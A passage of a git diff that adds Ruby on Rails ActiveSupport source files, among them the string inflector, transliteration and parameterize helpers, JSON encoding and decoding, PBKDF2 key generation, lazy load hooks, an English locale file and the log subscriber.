+    # The trailing '_id' can be kept and capitalized by setting the
+    # optional parameter +keep_id_suffix+ to true (default is false).
+    #
+    #   humanize('employee_salary')                  # => "Employee salary"
+    #   humanize('author_id')                        # => "Author"
+    #   humanize('author_id', capitalize: false)     # => "author"
+    #   humanize('_id')                              # => "Id"
+    #   humanize('author_id', keep_id_suffix: true)  # => "Author Id"
+    #
+    # If "SSL" was defined to be an acronym:
+    #
+    #   humanize('ssl_error') # => "SSL error"
+    #
+    def humanize(lower_case_and_underscored_word, capitalize: true, keep_id_suffix: false)
+      result = lower_case_and_underscored_word.to_s.dup
+
+      inflections.humans.each { |(rule, replacement)| break if result.sub!(rule, replacement) }
+
+      result.sub!(/\A_+/, "".freeze)
+      unless keep_id_suffix
+        result.sub!(/_id\z/, "".freeze)
+      end
+      result.tr!("_".freeze, " ".freeze)
+
+      result.gsub!(/([a-z\d]*)/i) do |match|
+        "#{inflections.acronyms[match] || match.downcase}"
+      end
+
+      if capitalize
+        result.sub!(/\A\w/) { |match| match.upcase }
+      end
+
+      result
+    end
+
+    # Converts just the first character to uppercase.
+    #
+    #   upcase_first('what a Lovely Day') # => "What a Lovely Day"
+    #   upcase_first('w')                 # => "W"
+    #   upcase_first('')                  # => ""
+    def upcase_first(string)
+      string.length > 0 ? string[0].upcase.concat(string[1..-1]) : ""
+    end
+
+    # Capitalizes all the words and replaces some characters in the string to
+    # create a nicer looking title. +titleize+ is meant for creating pretty
+    # output. It is not used in the Rails internals.
+    #
+    # The trailing '_id','Id'.. can be kept and capitalized by setting the
+    # optional parameter +keep_id_suffix+ to true.
+    # By default, this parameter is false.
+    #
+    # +titleize+ is also aliased as +titlecase+.
+    #
+    #   titleize('man from the boondocks')                       # => "Man From The Boondocks"
+    #   titleize('x-men: the last stand')                        # => "X Men: The Last Stand"
+    #   titleize('TheManWithoutAPast')                           # => "The Man Without A Past"
+    #   titleize('raiders_of_the_lost_ark')                      # => "Raiders Of The Lost Ark"
+    #   titleize('string_ending_with_id', keep_id_suffix: true)  # => "String Ending With Id"
+    def titleize(word, keep_id_suffix: false)
+      humanize(underscore(word), keep_id_suffix: keep_id_suffix).gsub(/\b(?<!\w['’`])[a-z]/) do |match|
+        match.capitalize
+      end
+    end
+
+    # Creates the name of a table like Rails does for models to table names.
+    # This method uses the #pluralize method on the last word in the string.
+    #
+    #   tableize('RawScaledScorer') # => "raw_scaled_scorers"
+    #   tableize('ham_and_egg')     # => "ham_and_eggs"
+    #   tableize('fancyCategory')   # => "fancy_categories"
+    def tableize(class_name)
+      pluralize(underscore(class_name))
+    end
+
+    # Creates a class name from a plural table name like Rails does for table
+    # names to models. Note that this returns a string and not a Class (To
+    # convert to an actual class follow +classify+ with #constantize).
+    #
+    #   classify('ham_and_eggs') # => "HamAndEgg"
+    #   classify('posts')        # => "Post"
+    #
+    # Singular names are not handled correctly:
+    #
+    #   classify('calculus')     # => "Calculus"
+    def classify(table_name)
+      # strip out any leading schema name
+      camelize(singularize(table_name.to_s.sub(/.*\./, "".freeze)))
+    end
+
+    # Replaces underscores with dashes in the string.
+    #
+    #   dasherize('puni_puni') # => "puni-puni"
+    def dasherize(underscored_word)
+      underscored_word.tr("_".freeze, "-".freeze)
+    end
+
+    # Removes the module part from the expression in the string.
+    #
+    #   demodulize('ActiveSupport::Inflector::Inflections') # => "Inflections"
+    #   demodulize('Inflections')                           # => "Inflections"
+    #   demodulize('::Inflections')                         # => "Inflections"
+    #   demodulize('')                                      # => ""
+    #
+    # See also #deconstantize.
+    def demodulize(path)
+      path = path.to_s
+      if i = path.rindex("::")
+        path[(i + 2)..-1]
+      else
+        path
+      end
+    end
+
+    # Removes the rightmost segment from the constant expression in the string.
+    #
+    #   deconstantize('Net::HTTP')   # => "Net"
+    #   deconstantize('::Net::HTTP') # => "::Net"
+    #   deconstantize('String')      # => ""
+    #   deconstantize('::String')    # => ""
+    #   deconstantize('')            # => ""
+    #
+    # See also #demodulize.
+    def deconstantize(path)
+      path.to_s[0, path.rindex("::") || 0] # implementation based on the one in facets' Module#spacename
+    end
+
+    # Creates a foreign key name from a class name.
+    # +separate_class_name_and_id_with_underscore+ sets whether
+    # the method should put '_' between the name and 'id'.
+    #
+    #   foreign_key('Message')        # => "message_id"
+    #   foreign_key('Message', false) # => "messageid"
+    #   foreign_key('Admin::Post')    # => "post_id"
+    def foreign_key(class_name, separate_class_name_and_id_with_underscore = true)
+      underscore(demodulize(class_name)) + (separate_class_name_and_id_with_underscore ? "_id" : "id")
+    end
+
+    # Tries to find a constant with the name specified in the argument string.
+    #
+    #   constantize('Module')   # => Module
+    #   constantize('Foo::Bar') # => Foo::Bar
+    #
+    # The name is assumed to be the one of a top-level constant, no matter
+    # whether it starts with "::" or not. No lexical context is taken into
+    # account:
+    #
+    #   C = 'outside'
+    #   module M
+    #     C = 'inside'
+    #     C                # => 'inside'
+    #     constantize('C') # => 'outside', same as ::C
+    #   end
+    #
+    # NameError is raised when the name is not in CamelCase or the constant is
+    # unknown.
+    def constantize(camel_cased_word)
+      names = camel_cased_word.split("::".freeze)
+
+      # Trigger a built-in NameError exception including the ill-formed constant in the message.
+      Object.const_get(camel_cased_word) if names.empty?
+
+      # Remove the first blank element in case of '::ClassName' notation.
+      names.shift if names.size > 1 && names.first.empty?
+
+      names.inject(Object) do |constant, name|
+        if constant == Object
+          constant.const_get(name)
+        else
+          candidate = constant.const_get(name)
+          next candidate if constant.const_defined?(name, false)
+          next candidate unless Object.const_defined?(name)
+
+          # Go down the ancestors to check if it is owned directly. The check
+          # stops when we reach Object or the end of ancestors tree.
+          constant = constant.ancestors.inject(constant) do |const, ancestor|
+            break const    if ancestor == Object
+            break ancestor if ancestor.const_defined?(name, false)
+            const
+          end
+
+          # owner is in Object, so raise
+          constant.const_get(name, false)
+        end
+      end
+    end
+
+    # Tries to find a constant with the name specified in the argument string.
+    #
+    #   safe_constantize('Module')   # => Module
+    #   safe_constantize('Foo::Bar') # => Foo::Bar
+    #
+    # The name is assumed to be the one of a top-level constant, no matter
+    # whether it starts with "::" or not. No lexical context is taken into
+    # account:
+    #
+    #   C = 'outside'
+    #   module M
+    #     C = 'inside'
+    #     C                     # => 'inside'
+    #     safe_constantize('C') # => 'outside', same as ::C
+    #   end
+    #
+    # +nil+ is returned when the name is not in CamelCase or the constant (or
+    # part of it) is unknown.
+    #
+    #   safe_constantize('blargle')                  # => nil
+    #   safe_constantize('UnknownModule')            # => nil
+    #   safe_constantize('UnknownModule::Foo::Bar')  # => nil
+    def safe_constantize(camel_cased_word)
+      constantize(camel_cased_word)
+    rescue NameError => e
+      raise if e.name && !(camel_cased_word.to_s.split("::").include?(e.name.to_s) ||
+        e.name.to_s == camel_cased_word.to_s)
+    rescue ArgumentError => e
+      raise unless /not missing constant #{const_regexp(camel_cased_word)}!$/.match?(e.message)
+    end
+
+    # Returns the suffix that should be added to a number to denote the position
+    # in an ordered sequence such as 1st, 2nd, 3rd, 4th.
+    #
+    #   ordinal(1)     # => "st"
+    #   ordinal(2)     # => "nd"
+    #   ordinal(1002)  # => "nd"
+    #   ordinal(1003)  # => "rd"
+    #   ordinal(-11)   # => "th"
+    #   ordinal(-1021) # => "st"
+    def ordinal(number)
+      abs_number = number.to_i.abs
+
+      if (11..13).include?(abs_number % 100)
+        "th"
+      else
+        case abs_number % 10
+        when 1; "st"
+        when 2; "nd"
+        when 3; "rd"
+          else    "th"
+        end
+      end
+    end
+
+    # Turns a number into an ordinal string used to denote the position in an
+    # ordered sequence such as 1st, 2nd, 3rd, 4th.
+    #
+    #   ordinalize(1)     # => "1st"
+    #   ordinalize(2)     # => "2nd"
+    #   ordinalize(1002)  # => "1002nd"
+    #   ordinalize(1003)  # => "1003rd"
+    #   ordinalize(-11)   # => "-11th"
+    #   ordinalize(-1021) # => "-1021st"
+    def ordinalize(number)
+      "#{number}#{ordinal(number)}"
+    end
+
+    private
+
+      # Mounts a regular expression, returned as a string to ease interpolation,
+      # that will match part by part the given constant.
+      #
+      #   const_regexp("Foo::Bar::Baz") # => "Foo(::Bar(::Baz)?)?"
+      #   const_regexp("::")            # => "::"
+      def const_regexp(camel_cased_word)
+        parts = camel_cased_word.split("::".freeze)
+
+        return Regexp.escape(camel_cased_word) if parts.blank?
+
+        last = parts.pop
+
+        parts.reverse.inject(last) do |acc, part|
+          part.empty? ? acc : "#{part}(::#{acc})?"
+        end
+      end
+
+      # Applies inflection rules for +singularize+ and +pluralize+.
+      #
+      # If passed an optional +locale+ parameter, the uncountables will be
+      # found for that locale.
+      #
+      #  apply_inflections('post', inflections.plurals, :en)    # => "posts"
+      #  apply_inflections('posts', inflections.singulars, :en) # => "post"
+      def apply_inflections(word, rules, locale = :en)
+        result = word.to_s.dup
+
+        if word.empty? || inflections(locale).uncountables.uncountable?(result)
+          result
+        else
+          rules.each { |(rule, replacement)| break if result.sub!(rule, replacement) }
+          result
+        end
+      end
+  end
+end
diff --git a/activesupport/lib/active_support/inflector/transliterate.rb b/activesupport/lib/active_support/inflector/transliterate.rb
new file mode 100644
index 0000000000..aa7b21734e
--- /dev/null
+++ b/activesupport/lib/active_support/inflector/transliterate.rb
@@ -0,0 +1,112 @@
+# frozen_string_literal: true
+
+require_relative "../core_ext/string/multibyte"
+require_relative "../i18n"
+
+module ActiveSupport
+  module Inflector
+    # Replaces non-ASCII characters with an ASCII approximation, or if none
+    # exists, a replacement character which defaults to "?".
+    #
+    #    transliterate('Ærøskøbing')
+    #    # => "AEroskobing"
+    #
+    # Default approximations are provided for Western/Latin characters,
+    # e.g, "ø", "ñ", "é", "ß", etc.
+    #
+    # This method is I18n aware, so you can set up custom approximations for a
+    # locale. This can be useful, for example, to transliterate German's "ü"
+    # and "ö" to "ue" and "oe", or to add support for transliterating Russian
+    # to ASCII.
+    #
+    # In order to make your custom transliterations available, you must set
+    # them as the <tt>i18n.transliterate.rule</tt> i18n key:
+    #
+    #   # Store the transliterations in locales/de.yml
+    #   i18n:
+    #     transliterate:
+    #       rule:
+    #         ü: "ue"
+    #         ö: "oe"
+    #
+    #   # Or set them using Ruby
+    #   I18n.backend.store_translations(:de, i18n: {
+    #     transliterate: {
+    #       rule: {
+    #         'ü' => 'ue',
+    #         'ö' => 'oe'
+    #       }
+    #     }
+    #   })
+    #
+    # The value for <tt>i18n.transliterate.rule</tt> can be a simple Hash that
+    # maps characters to ASCII approximations as shown above, or, for more
+    # complex requirements, a Proc:
+    #
+    #   I18n.backend.store_translations(:de, i18n: {
+    #     transliterate: {
+    #       rule: ->(string) { MyTransliterator.transliterate(string) }
+    #     }
+    #   })
+    #
+    # Now you can have different transliterations for each locale:
+    #
+    #   I18n.locale = :en
+    #   transliterate('Jürgen')
+    #   # => "Jurgen"
+    #
+    #   I18n.locale = :de
+    #   transliterate('Jürgen')
+    #   # => "Juergen"
+    def transliterate(string, replacement = "?".freeze)
+      raise ArgumentError, "Can only transliterate strings. Received #{string.class.name}" unless string.is_a?(String)
+
+      I18n.transliterate(
+        ActiveSupport::Multibyte::Unicode.normalize(
+          ActiveSupport::Multibyte::Unicode.tidy_bytes(string), :c),
+        replacement: replacement)
+    end
+
+    # Replaces special characters in a string so that it may be used as part of
+    # a 'pretty' URL.
+    #
+    #   parameterize("Donald E. Knuth") # => "donald-e-knuth"
+    #   parameterize("^trés|Jolie-- ")  # => "tres-jolie"
+    #
+    # To use a custom separator, override the `separator` argument.
+    #
+    #  parameterize("Donald E. Knuth", separator: '_') # => "donald_e_knuth"
+    #  parameterize("^trés|Jolie-- ", separator: '_')  # => "tres_jolie"
+    #
+    # To preserve the case of the characters in a string, use the `preserve_case` argument.
+    #
+    #   parameterize("Donald E. Knuth", preserve_case: true) # => "Donald-E-Knuth"
+    #   parameterize("^trés|Jolie-- ", preserve_case: true) # => "tres-Jolie"
+    #
+    def parameterize(string, separator: "-", preserve_case: false)
+      # Replace accented chars with their ASCII equivalents.
+      parameterized_string = transliterate(string)
+
+      # Turn unwanted chars into the separator.
+      parameterized_string.gsub!(/[^a-z0-9\-_]+/i, separator)
+
+      unless separator.nil? || separator.empty?
+        if separator == "-".freeze
+          re_duplicate_separator        = /-{2,}/
+          re_leading_trailing_separator = /^-|-$/i
+        else
+          re_sep = Regexp.escape(separator)
+          re_duplicate_separator        = /#{re_sep}{2,}/
+          re_leading_trailing_separator = /^#{re_sep}|#{re_sep}$/i
+        end
+        # No more than one of the separator in a row.
+        parameterized_string.gsub!(re_duplicate_separator, separator)
+        # Remove leading/trailing separator.
+        parameterized_string.gsub!(re_leading_trailing_separator, "".freeze)
+      end
+
+      parameterized_string.downcase! unless preserve_case
+      parameterized_string
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/json.rb b/activesupport/lib/active_support/json.rb
new file mode 100644
index 0000000000..b5672025fb
--- /dev/null
+++ b/activesupport/lib/active_support/json.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+require_relative "json/decoding"
+require_relative "json/encoding"
diff --git a/activesupport/lib/active_support/json/decoding.rb b/activesupport/lib/active_support/json/decoding.rb
new file mode 100644
index 0000000000..caa4082dde
--- /dev/null
+++ b/activesupport/lib/active_support/json/decoding.rb
@@ -0,0 +1,76 @@
+# frozen_string_literal: true
+
+require_relative "../core_ext/module/attribute_accessors"
+require_relative "../core_ext/module/delegation"
+require "json"
+
+module ActiveSupport
+  # Look for and parse json strings that look like ISO 8601 times.
+  mattr_accessor :parse_json_times
+
+  module JSON
+    # matches YAML-formatted dates
+    DATE_REGEX = /^\d{4}-\d{2}-\d{2}$/
+    DATETIME_REGEX = /^(?:\d{4}-\d{2}-\d{2}|\d{4}-\d{1,2}-\d{1,2}[T \t]+\d{1,2}:\d{2}:\d{2}(\.[0-9]*)?(([ \t]*)Z|[-+]\d{2}?(:\d{2})?)?)$/
+
+    class << self
+      # Parses a JSON string (JavaScript Object Notation) into a hash.
+      # See http://www.json.org for more info.
+      #
+      #   ActiveSupport::JSON.decode("{\"team\":\"rails\",\"players\":\"36\"}")
+      #   => {"team" => "rails", "players" => "36"}
+      def decode(json)
+        data = ::JSON.parse(json, quirks_mode: true)
+
+        if ActiveSupport.parse_json_times
+          convert_dates_from(data)
+        else
+          data
+        end
+      end
+
+      # Returns the class of the error that will be raised when there is an
+      # error in decoding JSON. Using this method means you won't directly
+      # depend on the ActiveSupport's JSON implementation, in case it changes
+      # in the future.
+      #
+      #   begin
+      #     obj = ActiveSupport::JSON.decode(some_string)
+      #   rescue ActiveSupport::JSON.parse_error
+      #     Rails.logger.warn("Attempted to decode invalid JSON: #{some_string}")
+      #   end
+      def parse_error
+        ::JSON::ParserError
+      end
+
+      private
+
+      def convert_dates_from(data)
+        case data
+        when nil
+          nil
+        when DATE_REGEX
+          begin
+            Date.parse(data)
+          rescue ArgumentError
+            data
+          end
+        when DATETIME_REGEX
+          begin
+            Time.zone.parse(data)
+          rescue ArgumentError
+            data
+          end
+        when Array
+          data.map! { |d| convert_dates_from(d) }
+        when Hash
+          data.each do |key, value|
+            data[key] = convert_dates_from(value)
+          end
+        else
+          data
+        end
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/json/encoding.rb b/activesupport/lib/active_support/json/encoding.rb
new file mode 100644
index 0000000000..4016d13364
--- /dev/null
+++ b/activesupport/lib/active_support/json/encoding.rb
@@ -0,0 +1,130 @@
+# frozen_string_literal: true
+
+require_relative "../core_ext/object/json"
+require_relative "../core_ext/module/delegation"
+
+module ActiveSupport
+  class << self
+    delegate :use_standard_json_time_format, :use_standard_json_time_format=,
+      :time_precision, :time_precision=,
+      :escape_html_entities_in_json, :escape_html_entities_in_json=,
+      :json_encoder, :json_encoder=,
+      to: :'ActiveSupport::JSON::Encoding'
+  end
+
+  module JSON
+    # Dumps objects in JSON (JavaScript Object Notation).
+    # See http://www.json.org for more info.
+    #
+    #   ActiveSupport::JSON.encode({ team: 'rails', players: '36' })
+    #   # => "{\"team\":\"rails\",\"players\":\"36\"}"
+    def self.encode(value, options = nil)
+      Encoding.json_encoder.new(options).encode(value)
+    end
+
+    module Encoding #:nodoc:
+      class JSONGemEncoder #:nodoc:
+        attr_reader :options
+
+        def initialize(options = nil)
+          @options = options || {}
+        end
+
+        # Encode the given object into a JSON string
+        def encode(value)
+          stringify jsonify value.as_json(options.dup)
+        end
+
+        private
+          # Rails does more escaping than the JSON gem natively does (we
+          # escape \u2028 and \u2029 and optionally >, <, & to work around
+          # certain browser problems).
+          ESCAPED_CHARS = {
+            "\u2028" => '\u2028',
+            "\u2029" => '\u2029',
+            ">"      => '\u003e',
+            "<"      => '\u003c',
+            "&"      => '\u0026',
+            }
+
+          ESCAPE_REGEX_WITH_HTML_ENTITIES = /[\u2028\u2029><&]/u
+          ESCAPE_REGEX_WITHOUT_HTML_ENTITIES = /[\u2028\u2029]/u
+
+          # This class wraps all the strings we see and does the extra escaping
+          class EscapedString < String #:nodoc:
+            def to_json(*)
+              if Encoding.escape_html_entities_in_json
+                super.gsub ESCAPE_REGEX_WITH_HTML_ENTITIES, ESCAPED_CHARS
+              else
+                super.gsub ESCAPE_REGEX_WITHOUT_HTML_ENTITIES, ESCAPED_CHARS
+              end
+            end
+
+            def to_s
+              self
+            end
+          end
+
+          # Mark these as private so we don't leak encoding-specific constructs
+          private_constant :ESCAPED_CHARS, :ESCAPE_REGEX_WITH_HTML_ENTITIES,
+            :ESCAPE_REGEX_WITHOUT_HTML_ENTITIES, :EscapedString
+
+          # Convert an object into a "JSON-ready" representation composed of
+          # primitives like Hash, Array, String, Numeric,
+          # and +true+/+false+/+nil+.
+          # Recursively calls #as_json to the object to recursively build a
+          # fully JSON-ready object.
+          #
+          # This allows developers to implement #as_json without having to
+          # worry about what base types of objects they are allowed to return
+          # or having to remember to call #as_json recursively.
+          #
+          # Note: the +options+ hash passed to +object.to_json+ is only passed
+          # to +object.as_json+, not any of this method's recursive +#as_json+
+          # calls.
+          def jsonify(value)
+            case value
+            when String
+              EscapedString.new(value)
+            when Numeric, NilClass, TrueClass, FalseClass
+              value.as_json
+            when Hash
+              Hash[value.map { |k, v| [jsonify(k), jsonify(v)] }]
+            when Array
+              value.map { |v| jsonify(v) }
+            else
+              jsonify value.as_json
+            end
+          end
+
+          # Encode a "jsonified" Ruby data structure using the JSON gem
+          def stringify(jsonified)
+            ::JSON.generate(jsonified, quirks_mode: true, max_nesting: false)
+          end
+      end
+
+      class << self
+        # If true, use ISO 8601 format for dates and times. Otherwise, fall back
+        # to the Active Support legacy format.
+        attr_accessor :use_standard_json_time_format
+
+        # If true, encode >, <, & as escaped unicode sequences (e.g. > as \u003e)
+        # as a safety measure.
+        attr_accessor :escape_html_entities_in_json
+
+        # Sets the precision of encoded time values.
+        # Defaults to 3 (equivalent to millisecond precision)
+        attr_accessor :time_precision
+
+        # Sets the encoder used by Rails to encode Ruby objects into JSON strings
+        # in +Object#to_json+ and +ActiveSupport::JSON.encode+.
+        attr_accessor :json_encoder
+      end
+
+      self.use_standard_json_time_format = true
+      self.escape_html_entities_in_json  = true
+      self.json_encoder = JSONGemEncoder
+      self.time_precision = 3
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/key_generator.rb b/activesupport/lib/active_support/key_generator.rb
new file mode 100644
index 0000000000..31de37b400
--- /dev/null
+++ b/activesupport/lib/active_support/key_generator.rb
@@ -0,0 +1,73 @@
+# frozen_string_literal: true
+
+require "concurrent/map"
+require "openssl"
+
+module ActiveSupport
+  # KeyGenerator is a simple wrapper around OpenSSL's implementation of PBKDF2.
+  # It can be used to derive a number of keys for various purposes from a given secret.
+  # This lets Rails applications have a single secure secret, but avoid reusing that
+  # key in multiple incompatible contexts.
+  class KeyGenerator
+    def initialize(secret, options = {})
+      @secret = secret
+      # The default iterations are higher than required for our key derivation uses
+      # on the off chance someone uses this for password storage
+      @iterations = options[:iterations] || 2**16
+    end
+
+    # Returns a derived key suitable for use.  The default key_size is chosen
+    # to be compatible with the default settings of ActiveSupport::MessageVerifier.
+    # i.e. OpenSSL::Digest::SHA1#block_length
+    def generate_key(salt, key_size = 64)
+      OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size)
+    end
+  end
+
+  # CachingKeyGenerator is a wrapper around KeyGenerator which allows users to avoid
+  # re-executing the key generation process when it's called using the same salt and
+  # key_size.
+  class CachingKeyGenerator
+    def initialize(key_generator)
+      @key_generator = key_generator
+      @cache_keys = Concurrent::Map.new
+    end
+
+    # Returns a derived key suitable for use.
+    def generate_key(*args)
+      @cache_keys[args.join] ||= @key_generator.generate_key(*args)
+    end
+  end
+
+  class LegacyKeyGenerator # :nodoc:
+    SECRET_MIN_LENGTH = 30 # Characters
+
+    def initialize(secret)
+      ensure_secret_secure(secret)
+      @secret = secret
+    end
+
+    def generate_key(salt)
+      @secret
+    end
+
+    private
+
+      # To prevent users from using something insecure like "Password" we make sure that the
+      # secret they've provided is at least 30 characters in length.
+      def ensure_secret_secure(secret)
+        if secret.blank?
+          raise ArgumentError, "A secret is required to generate an integrity hash " \
+            "for cookie session data. Set a secret_key_base of at least " \
+            "#{SECRET_MIN_LENGTH} characters in config/secrets.yml."
+        end
+
+        if secret.length < SECRET_MIN_LENGTH
+          raise ArgumentError, "Secret should be something secure, " \
+            "like \"#{SecureRandom.hex(16)}\". The value you " \
+            "provided, \"#{secret}\", is shorter than the minimum length " \
+            "of #{SECRET_MIN_LENGTH} characters."
+        end
+      end
+  end
+end
diff --git a/activesupport/lib/active_support/lazy_load_hooks.rb b/activesupport/lib/active_support/lazy_load_hooks.rb
new file mode 100644
index 0000000000..c23b319046
--- /dev/null
+++ b/activesupport/lib/active_support/lazy_load_hooks.rb
@@ -0,0 +1,60 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  # lazy_load_hooks allows Rails to lazily load a lot of components and thus
+  # making the app boot faster. Because of this feature now there is no need to
+  # require <tt>ActiveRecord::Base</tt> at boot time purely to apply
+  # configuration. Instead a hook is registered that applies configuration once
+  # <tt>ActiveRecord::Base</tt> is loaded. Here <tt>ActiveRecord::Base</tt> is
+  # used as example but this feature can be applied elsewhere too.
+  #
+  # Here is an example where +on_load+ method is called to register a hook.
+  #
+  #   initializer 'active_record.initialize_timezone' do
+  #     ActiveSupport.on_load(:active_record) do
+  #       self.time_zone_aware_attributes = true
+  #       self.default_timezone = :utc
+  #     end
+  #   end
+  #
+  # When the entirety of +ActiveRecord::Base+ has been
+  # evaluated then +run_load_hooks+ is invoked. The very last line of
+  # +ActiveRecord::Base+ is:
+  #
+  #   ActiveSupport.run_load_hooks(:active_record, ActiveRecord::Base)
+  module LazyLoadHooks
+    def self.extended(base) # :nodoc:
+      base.class_eval do
+        @load_hooks = Hash.new { |h, k| h[k] = [] }
+        @loaded     = Hash.new { |h, k| h[k] = [] }
+      end
+    end
+
+    # Declares a block that will be executed when a Rails component is fully
+    # loaded.
+    def on_load(name, options = {}, &block)
+      @loaded[name].each do |base|
+        execute_hook(base, options, block)
+      end
+
+      @load_hooks[name] << [block, options]
+    end
+
+    def execute_hook(base, options, block)
+      if options[:yield]
+        block.call(base)
+      else
+        base.instance_eval(&block)
+      end
+    end
+
+    def run_load_hooks(name, base = Object)
+      @loaded[name] << base
+      @load_hooks[name].each do |hook, options|
+        execute_hook(base, options, hook)
+      end
+    end
+  end
+
+  extend LazyLoadHooks
+end
diff --git a/activesupport/lib/active_support/locale/en.yml b/activesupport/lib/active_support/locale/en.yml
new file mode 100644
index 0000000000..c64b7598ee
--- /dev/null
+++ b/activesupport/lib/active_support/locale/en.yml
@@ -0,0 +1,135 @@
+en:
+  date:
+    formats:
+      # Use the strftime parameters for formats.
+      # When no format has been given, it uses default.
+      # You can provide other formats here if you like!
+      default: "%Y-%m-%d"
+      short: "%b %d"
+      long: "%B %d, %Y"
+
+    day_names: [Sunday, Monday, Tuesday, Wednesday, Thursday, Friday, Saturday]
+    abbr_day_names: [Sun, Mon, Tue, Wed, Thu, Fri, Sat]
+
+    # Don't forget the nil at the beginning; there's no such thing as a 0th month
+    month_names: [~, January, February, March, April, May, June, July, August, September, October, November, December]
+    abbr_month_names: [~, Jan, Feb, Mar, Apr, May, Jun, Jul, Aug, Sep, Oct, Nov, Dec]
+    # Used in date_select and datetime_select.
+    order:
+      - year
+      - month
+      - day
+
+  time:
+    formats:
+      default: "%a, %d %b %Y %H:%M:%S %z"
+      short: "%d %b %H:%M"
+      long: "%B %d, %Y %H:%M"
+    am: "am"
+    pm: "pm"
+
+# Used in array.to_sentence.
+  support:
+    array:
+      words_connector: ", "
+      two_words_connector: " and "
+      last_word_connector: ", and "
+  number:
+    # Used in NumberHelper.number_to_delimited()
+    # These are also the defaults for 'currency', 'percentage', 'precision', and 'human'
+    format:
+      # Sets the separator between the units, for more precision (e.g. 1.0 / 2.0 == 0.5)
+      separator: "."
+      # Delimits thousands (e.g. 1,000,000 is a million) (always in groups of three)
+      delimiter: ","
+      # Number of decimals, behind the separator (the number 1 with a precision of 2 gives: 1.00)
+      precision: 3
+      # If set to true, precision will mean the number of significant digits instead
+      # of the number of decimal digits (1234 with precision 2 becomes 1200, 1.23543 becomes 1.2)
+      significant: false
+      # If set, the zeros after the decimal separator will always be stripped (eg.: 1.200 will be 1.2)
+      strip_insignificant_zeros: false
+
+    # Used in NumberHelper.number_to_currency()
+    currency:
+      format:
+        # Where is the currency sign? %u is the currency unit, %n the number (default: $5.00)
+        format: "%u%n"
+        unit: "$"
+        # These five are to override number.format and are optional
+        separator: "."
+        delimiter: ","
+        precision: 2
+        significant: false
+        strip_insignificant_zeros: false
+
+    # Used in NumberHelper.number_to_percentage()
+    percentage:
+      format:
+        # These five are to override number.format and are optional
+        # separator:
+        delimiter: ""
+        # precision:
+        # significant: false
+        # strip_insignificant_zeros: false
+        format: "%n%"
+
+    # Used in NumberHelper.number_to_rounded()
+    precision:
+      format:
+        # These five are to override number.format and are optional
+        # separator:
+        delimiter: ""
+        # precision:
+        # significant: false
+        # strip_insignificant_zeros: false
+
+    # Used in NumberHelper.number_to_human_size() and NumberHelper.number_to_human()
+    human:
+      format:
+        # These five are to override number.format and are optional
+        # separator:
+        delimiter: ""
+        precision: 3
+        significant: true
+        strip_insignificant_zeros: true
+      # Used in number_to_human_size()
+      storage_units:
+        # Storage units output formatting.
+        # %u is the storage unit, %n is the number (default: 2 MB)
+        format: "%n %u"
+        units:
+          byte:
+            one:   "Byte"
+            other: "Bytes"
+          kb: "KB"
+          mb: "MB"
+          gb: "GB"
+          tb: "TB"
+          pb: "PB"
+          eb: "EB"
+      # Used in NumberHelper.number_to_human()
+      decimal_units:
+        format: "%n %u"
+        # Decimal units output formatting
+        # By default we will only quantify some of the exponents
+        # but the commented ones might be defined or overridden
+        # by the user.
+        units:
+          # femto: Quadrillionth
+          # pico: Trillionth
+          # nano: Billionth
+          # micro: Millionth
+          # mili: Thousandth
+          # centi: Hundredth
+          # deci: Tenth
+          unit: ""
+          # ten:
+          #   one: Ten
+          #   other: Tens
+          # hundred: Hundred
+          thousand: Thousand
+          million: Million
+          billion: Billion
+          trillion: Trillion
+          quadrillion: Quadrillion
diff --git a/activesupport/lib/active_support/log_subscriber.rb b/activesupport/lib/active_support/log_subscriber.rb
new file mode 100644
index 0000000000..05a11221bf
--- /dev/null
+++ b/activesupport/lib/active_support/log_subscriber.rb
@@ -0,0 +1,112 @@
+# frozen_string_literal: true
+
+require_relative "core_ext/module/attribute_accessors"
+require_relative "core_ext/class/attribute"
+require_relative "subscriber"
+
+module ActiveSupport
+  # ActiveSupport::LogSubscriber is an object set to consume
+  # ActiveSupport::Notifications with the sole purpose of logging them.
+  # The log subscriber dispatches notifications to a registered object based
+  # on its given namespace.
+  #
+  # An example would be Active Record log subscriber responsible for logging
+  # queries:
+  #
+  #   module ActiveRecord
+  #     class LogSubscriber < ActiveSupport::LogSubscriber
+  #       def sql(event)
+  #         "#{event.payload[:name]} (#{event.duration}) #{event.payload[:sql]}"
+  #       end
+  #     end
+  #   end
+  #
+  # And it's finally registered as:
+  #
+  #   ActiveRecord::LogSubscriber.attach_to :active_record
+  #
+  # Since we need to know all instance methods before attaching the log
+  # subscriber, the line above should be called after your
+  # <tt>ActiveRecord::LogSubscriber</tt> definition.
+  #
+  # After configured, whenever a "sql.active_record" notification is published,
+  # it will properly dispatch the event (ActiveSupport::Notifications::Event) to
+  # the sql method.
+  #
+  # Log subscriber also has some helpers to deal with logging and automatically
+  # flushes all logs when the request finishes (via action_dispatch.callback
+  # notification) in a Rails environment.
+  class LogSubscriber < Subscriber
+    # Embed in a String to clear all previous ANSI sequences.
+    CLEAR   = "\e[0m"
+    BOLD    = "\e[1m"
+
+    # Colors
+    BLACK   = "\e[30m"
+    RED     = "\e[31m"
+    GREEN   = "\e[32m"
+    YELLOW  = "\e[33m"
+    BLUE    = "\e[34m"
+    MAGENTA = "\e[35m"
+    CYAN    = "\e[36m"
+    WHITE   = "\e[37m"
+
+    mattr_accessor :colorize_logging, default: true
+
+    class << self
+      def logger
+        @logger ||= if defined?(Rails) && Rails.respond_to?(:logger)
+          Rails.logger
+        end
+      end
+
+      attr_writer :logger
+
+      def log_subscribers
+        subscribers
+      end
+
+      # Flush all log_subscribers' logger.
+      def flush_all!
+        logger.flush if logger.respond_to?(:flush)
+      end
+    end
+
+    def logger
+      LogSubscriber.logger
+    end
+
+    def start(name, id, payload)
+      super if logger
+    end
+
+    def finish(name, id, payload)
+      super if logger
+    rescue => e
+      if logger
+        logger.error "Could not log #{name.inspect} event. #{e.class}: #{e.message} #{e.backtrace}"
+      end
+    end
+
+  private
+
+    %w(info debug warn error fatal unknown).each do |level|
+      class_eval <<-METHOD, __FILE__, __LINE__ + 1
+        def #{level}(progname = nil, &block)
+          logger.#{level}(progname, &block) if logger
+        end
+      METHOD
+    end
+
